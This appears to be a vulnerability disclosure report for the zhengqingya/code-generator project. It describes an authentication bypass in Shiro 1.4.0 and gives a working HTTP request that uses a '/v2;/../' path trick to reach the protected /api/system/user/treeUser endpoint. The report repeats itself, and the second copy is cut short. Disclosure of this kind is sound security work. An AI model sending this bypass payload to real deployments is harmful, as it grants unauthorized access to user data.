[Suggested description]
code-generator was found to have an Incorrect Access Control vulnerability due to the use of an insecure version of Shiro.
[Vulnerability Type]
Incorrect access control
[Vendor of Product]
https://github.com/zhengqingya/code-generator
[Affected Product Code Base]
all version (<= 0.0.1-SNAPSHOT)
[Affected Component]
All sensitive interface
[Attack Type]
Remote
[Vulnerability details]
Send the payload below to the interface /api/system/user/treeUser
POST /v2;/../api/system/user/treeUser HTTP/1.1
Host: 127.0.0.1:9100
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:9100
Connection: keep-alive
Cookie: JSESSIONID=code-generator_token_7f753429-c0b3-4ca1-b05c-735cd510c0d2
[Cause of vulnerability] Shiro is used for authentication in code-generator, but version 1.4.0 contains an insecure implementation
Meanwhile, code-generator includes some interfaces configured without permission requirements, enabling the exploitation of vulnerabilities in Shiro's implementation to achieve authentication bypass.
[Suggested description]
code-generator was found to have an Incorrect Access Control vulnerability due to the use of an insecure version of Shiro.
[Vulnerability Type]
Incorrect access control
[Vendor of Product]
https://github.com/zhengqingya/code-generator
[Affected Product Code Base]
all version (<= 0.0.1-SNAPSHOT)
[Affected Component]
All sensitive interface
[Attack Type]
Remote
[Vulnerability details]
Send the payload below to the interface
/api/system/user/treeUser[Cause of vulnerability] Shiro is used for authentication in code-generator, but version 1.4.0 contains an insecure implementation
Meanwhile, code-generator includes some interfaces configured without permission requirements, enabling the exploitation of vulnerabilities in Shiro's implementation to achieve authentication bypass.
